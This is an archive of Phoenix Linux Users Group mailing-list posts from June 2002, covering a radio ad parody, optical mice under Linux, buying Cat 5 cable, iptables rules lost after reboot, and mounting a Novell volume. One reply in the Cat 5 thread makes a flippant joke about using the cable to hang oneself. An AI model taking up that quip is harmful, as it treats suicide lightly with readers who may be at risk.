PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:19:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 2 Jun 2002 19:19:09 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: References: Message-ID: <1023070749.3cfad21deb98e@webmail.freedom2surf.net> Quoting Matt Alexander : > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > http://plug.netpro.to/radio/ > > > > Loved it!! From the tone I half expect Tux to be there in his monster > truck > > steamrolling over discarded Windoze CD's to the cheers of a delighted > crowd! > > As you wish: > > http://plug.netpro.to/radio/monster-truck-version.mp3 Great!! LOL!! Should I post a link on /.? Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:33:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 02 Jun 2002 19:33:07 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: Message-ID: <3CFAD563.5D6F471E@leml.asu.edu> Matt Alexander wrote: > > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > http://plug.netpro.to/radio/ > > > > Loved it!! From the tone I half expect Tux to be there in his monster truck > > steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! > > As you wish: > > http://plug.netpro.to/radio/monster-truck-version.mp3 ummm... huh. Maybe we could get some people together to make a spinnoff paridy of Ozzy Fudd (the Wabbit Swawer) doing "Kill da Wabbit". Each of the distro's could be a different sigger -- I see it now the battle of the Tux's and M$!!!! ... Gentoo: Pink Tux (after Pink Floyd) ... Debian: Tux Manson (after Marolyn Manson) ... Linux router project: Tuxstien (after Romstien) and yes, you to can nominat your own favorite Tux's for the battle of the distro's vs/ the evil M$ ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:47:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Sun, 2 Jun 2002 19:47:03 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> Message-ID: <001101c20aa8$f1605140$c801a8c0@sctdl1.az.home.com> I've used both an MS Optical and a Logitech Optical....They both work great. Go with the Logitech... ----- Original Message ----- From: Voltage Spike To: Sent: Sunday, June 02, 2002 6:43 PM Subject: Re: Optical Mice and Linux > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Sunday 02 June 2002 17:19, Dr.G wrote: > > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > > Optical Mice with thier linux distro? if so, how do you like it. I have a > > KVM set up right now but my Optical mouse is usb while the KVM requires > > PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I > > am using two mice, my optical for my Win2K box and my POS intellimouse for > > my RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > Since you already have an optical mouse, I will assume you are not talking > about performance. > > In terms of configuration and setup, it uses the exact same protocols as the > Intellimouse (assuming you have the newer ones with a wheel) so that no > adjustments are necessary. Well, we will have to reconfigure your /dev/mouse > to point to the USB mouse, but that is easy. > > Anyways, they work great. I have used few MS Optical, a Belkin optical, and a > few of the Logitech optical without any problems. As the cliche goes, I'm > never going back to a ball mouse again! > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE8+smzpNoctRtUIRQRApp5AJ9kKDJ3x0k4kMCAZB1JI9xNQwNorACfQneE > ulAJqonWPoUt+ZOgyhMyAz0= > =JUS+ > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 03:42:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 20:42:51 -0700 (MST) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: Am 02. Jun, 2002 schwätzte Matt Alexander so: > On Sun, 2 Jun 2002, der.hans wrote: > > In the text version, please capitalize Free Software. > > OK, but I don't think the radio listeners will be able to tell. ;-) Yeah, but we want to put the text and the mp3 up on the web site. Actually, we should be putting up an ogg and mp3 if we feel we need to. ciao, der.hans -- # https://www.LuftHans.com/ # The Internet is the front line of the battle # to protect our freedom. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:40:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 2 Jun 2002 21:40:04 -0700 (PDT) Subject: cat 5 cable Message-ID: <20020603044004.47573.qmail@web21205.mail.yahoo.com> does anyone know a place in town to get about 75-100 feet of cat 5 cable fairly cheap? or if anyone has a spare cable lying around they arent using i would be willing to buy it off you :) __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:45:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 21:45:24 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> <001101c20aa8$f1605140$c801a8c0@sctdl1.az.home.com> Message-ID: <3CFAF464.40501@deru.com> Bob Cober wrote: > ... Go with the Logitech... > I 2nd that. We have three of them here and they have all worked well for a long time - wheels and all. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:51:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sun, 02 Jun 2002 21:51:38 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <3CFAF5DA.F485739D@qwest.net> Radioshack? robert jorgenson wrote: > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: 02 Jun 2002 22:18:07 -0700 Subject: cat 5 cable In-Reply-To: <20020603044004.47573.qmail@web21205.mail.yahoo.com> References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <1023081487.16377.5.camel@localhost.localdomain> Email me - I'm in chandler though. gary AT linuxforce.org On Sun, 2002-06-02 at 21:40, robert jorgenson wrote: > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:33:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 01:33:50 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <3CFAFFBE.31D0EC95@georgetoft.com> robert jorgenson wrote: > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Fry's. Radio Shack in Mesa (by the police department). George From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:53:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 22:53:31 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAFFBE.31D0EC95@georgetoft.com> Message-ID: <3CFB045B.2030007@deru.com> George Toft wrote: > Fry's. Radio Shack in Mesa (by the police department). If you are refering to the big radioshack.com store at Southern and Country Club ... It is gone. Tandy closed all of the .com stores - Denver, Atlanta and here ;-( . Their final day of business was Mar 31, I believe. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 2 Jun 2002 22:54:35 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <3CFAD563.5D6F471E@leml.asu.edu> References: <3CFAD563.5D6F471E@leml.asu.edu> Message-ID: <200206022254.35078.dennisk@sahuaro.f2s.com> On Sunday 02 June 2002 07:33 pm, John (EBo) David wrote: > Matt Alexander wrote: > > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > > > http://plug.netpro.to/radio/ > > > > > > Loved it!! From the tone I half expect Tux to be there in his monster > > > truck steamrolling over discarded Windoze CD's to the cheers of a > > > delighted crowd! > > > > As you wish: > > > > http://plug.netpro.to/radio/monster-truck-version.mp3 > > ummm... huh. Maybe we could get some people together to make a spinnoff > paridy of Ozzy Fudd (the Wabbit Swawer) doing "Kill da Wabbit". Each of > the distro's could be a different sigger -- I see it now the battle of > the Tux's and M$!!!! > > ... Gentoo: Pink Tux (after Pink Floyd) > ... Debian: Tux Manson (after Marolyn Manson) > ... Linux router project: Tuxstien (after Romstien) > > > and yes, you to can nominat your own favorite Tux's for the battle of > the distro's vs/ the evil M$ ;-) > > EBo -- We take you now live to Caesar's Palace for the Monster Truck Face-Off!! Tonight's match is between the "Gates from Hell X Truck" and the "Roaring Penquin". Now down to the field for our pre-game show. ANNOUNCER: "Matt, how is this grudge match between the Gates truck and the Penquin shaping up?" MATT: "Gates took quite a beating from the Penquin last time out, but tonight the M$ Team has a brand new truck. A lot of money went into this baby, you can be sure of that!" ANS: "Gates has spared no expense on the finish, but it takes more than good looks to beat the Penquin. What is Gates' advantage this time, Matt?" MATT: Well, Gates is being pretty secretive about what's under the hood. It will take more than good looks to beat the Penquin., that's for sure. The reboot in the final seconds of the last round cost Gates dearly." ANS: "That's right, the Penquin sure knows how to get the last ounce of performance from any hardware at hand. Oh, oh, I head a commotion down in the Linux pit. What's going on Matt? MATT: RMS has just walked into the pit and is demanding that the name of the truck be changed!" ANS: Isn't that Linux Torvalds standing off to the side?" MATT: "Yes. Linus, what's your reaction to this confrontation? "It's just a name, I don't care what it is called." ANS: We'll be right back after this public service announcement from the BSA." From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 12:19:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 3 Jun 2002 05:19:25 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <021401c20af8$e77cd400$42c8a8c0@schnauzer> Home Depot sells it by the foot ----- Original Message ----- From: "robert jorgenson" To: Sent: Sunday, June 02, 2002 9:40 PM Subject: cat 5 cable does anyone know a place in town to get about 75-100 feet of cat 5 cable fairly cheap? or if anyone has a spare cable lying around they arent using i would be willing to buy it off you :) __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 12:23:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 08:23:03 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAFFBE.31D0EC95@georgetoft.com> <3CFB045B.2030007@deru.com> Message-ID: <3CFB5FA7.45189E9D@georgetoft.com> Bummer. That was the one I was referring to. They had everything - a bit overpriced, but at least they had it. George Kevin wrote: > > George Toft wrote: > > > Fry's. Radio Shack in Mesa (by the police department). > > If you are refering to the big radioshack.com store at Southern and Country > Club ... It is gone. Tandy closed all of the .com stores - Denver, Atlanta and > here ;-( . Their final day of business was Mar 31, I believe. > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 13:14:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 09:14:16 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> Message-ID: <3CFB6BA8.4C39949@georgetoft.com> They also have some pretty cool terminators, too. George Tom Achtenberg wrote: > > Home Depot sells it by the foot > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:36:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:36:34 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAF5DA.F485739D@qwest.net> Message-ID: <3CFB8D02.4949E5A@earthlink.net> I'd go to Home Depot or Lowe's before the Shack! pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:35:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:35:12 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> Message-ID: <3CFB8CB0.F0D3EBD9@earthlink.net> I've got a Logitech wireless optical with wheel running under Mandrake 8.1 and I love it. Beats a wire! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:56:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:56:01 -0700 Subject: iptables missing after reboot Message-ID: <3CFB9191.439F15F2@earthlink.net> After I rebooted my Mandrake 8.1 box, I was unable to get my laptop connected to the net. I did 'iptables --list' and it was empty. So I re-ran Mandrake Control Center and did the connection sharing thing and it was ok. Having to do that after a reboot just ain't right. Is there something (obviously) that I'm not having start up in the xinetd or rc.d area? pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 13:41:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Mon, 3 Jun 2002 09:41:53 -0400 Subject: cat 5 cable In-Reply-To: <021401c20af8$e77cd400$42c8a8c0@schnauzer> References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> Message-ID: <200206031633.g53GXbVr013534@mail.infinet-is.com> Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, and what it is used for? Bob eaton On Monday 03 June 2002 08:19 am, you wrote: > Home Depot sells it by the foot > > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 16:53:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Mon, 3 Jun 2002 09:53:39 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> <200206031633.g53GXbVr013534@mail.infinet-is.com> Message-ID: <00f601c20b1f$3632b620$d701870a@jeffbarker> Ethernet Cable... It's used to connect computers together on a network. :) Or hanging yourself if you're feeling down. ----- Original Message ----- From: "Robert N. Eaton" To: Sent: Monday, June 03, 2002 6:41 AM Subject: Re: cat 5 cable | Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, | and what it is used for? | | Bob eaton | | | On Monday 03 June 2002 08:19 am, you wrote: | > Home Depot sells it by the foot | > | > | > ----- Original Message ----- | > From: "robert jorgenson" | > To: | > Sent: Sunday, June 02, 2002 9:40 PM | > Subject: cat 5 cable | > | > | > does anyone know a place in town to get about 75-100 | > feet of cat 5 cable fairly cheap? or if anyone has a | > spare cable lying around they arent using i would be | > willing to buy it off you :) | > | > __________________________________________________ | > Do You Yahoo!? | > Yahoo! - Official partner of 2002 FIFA World Cup | > http://fifaworldcup.yahoo.com | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | > post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | > | > | > --- | > Outgoing mail is certified Virus Free. | > Checked by AVG anti-virus system (http://www.grisoft.com). | > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 | > | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | > post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:01:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 3 Jun 2002 10:01:03 -0700 Subject: cat 5 cable In-Reply-To: <200206031633.g53GXbVr013534@mail.infinet-is.com> Message-ID: Cat 5 cable is what you use to make ethernet cables. Cat 5 supports standard ethernet (10Mbits/sec transfer rate) and fast ethernet (100Mbits/sec transfer rate). Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Robert N. Eaton Sent: Monday, June 03, 2002 6:42 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: cat 5 cable Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, and what it is used for? Bob eaton On Monday 03 June 2002 08:19 am, you wrote: > Home Depot sells it by the foot > > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 16:56:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 09:56:47 -0700 Subject: cat 5 cable In-Reply-To: References: Message-ID: <200206030956.47938.voltage_spike@fastmail.fm> On Monday 03 June 2002 10:01 am, Gilbert T. Gutierrez, Jr. wrote: > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > (100Mbits/sec transfer rate). Isn't it also used for gigabit networking? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:15:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 10:15:10 -0700 Subject: cat 5 cable References: <200206030956.47938.voltage_spike@fastmail.fm> Message-ID: <3CFBA41E.32C4AE95@qwest.net> That would be Cat5E <-- Enhanced Cat5 can do up to 300MHz vs 100MHz for Cat5. It can be used for GigE, but the range is pretty short, about 1/3 the length that you could do 100Mb Ethernet. > > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > > (100Mbits/sec transfer rate). > > Isn't it also used for gigabit networking? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:28:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 03 Jun 2002 10:28:39 -0700 Subject: Optical Mice and Linux In-Reply-To: <00c001c20a94$67b1ac50$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Message-ID: <1023125319.12825.6.camel@CX868974-C> Using one right now, I am using the USB to PS2 converter that came with it and it works fine. On Sun, 2002-06-02 at 17:19, Dr.G wrote: > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > Optical Mice with thier linux distro? if so, how do you like it. I have a > KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > using two mice, my optical for my Win2K box and my POS intellimouse for my > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 3 Jun 2002 10:36:36 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <1023125319.12825.6.camel@CX868974-C> Message-ID: <012501c20b25$37c57c60$6501a8c0@drghastly> Well, assuming I just use a USB-PS/2 converter, what would I set my mouse up as under RH 7.3? I don't think I saw an option for Intellimouse Optical ...? ----- Original Message ----- From: "David Mandala" To: Sent: Monday, June 03, 2002 10:28 AM Subject: Re: Optical Mice and Linux > Using one right now, I am using the USB to PS2 converter that came with > it and it works fine. > > On Sun, 2002-06-02 at 17:19, Dr.G wrote: > > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > > Optical Mice with thier linux distro? if so, how do you like it. I have a > > KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 > > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > > using two mice, my optical for my Win2K box and my POS intellimouse for my > > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:46:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 3 Jun 2002 10:46:47 -0700 Subject: cat 5 cable In-Reply-To: <200206030956.47938.voltage_spike@fastmail.fm> Message-ID: I believe that you use Cat 6 for Giga Ethernet. I also understand that Cat 5E also will handle Giga Ethernet, but I do not know the restrictions. I have only done Giga Ethernet on Fiber so I don't know cable restrictions with copper. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan Kennelly Sent: Monday, June 03, 2002 9:57 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: cat 5 cable On Monday 03 June 2002 10:01 am, Gilbert T. Gutierrez, Jr. wrote: > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > (100Mbits/sec transfer rate). Isn't it also used for gigabit networking? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:58:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 3 Jun 2002 10:58:48 -0700 Subject: mounting novell volumes Message-ID: <200206031058.52521.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I booted up a novell machine using a bbc cd and I need to mount the novell volume (/dev/hda2) onto the tree so I can export it. The fdisk info says it is id 65 Novell Netware 386 Does anyone know how I can mount that? I tried 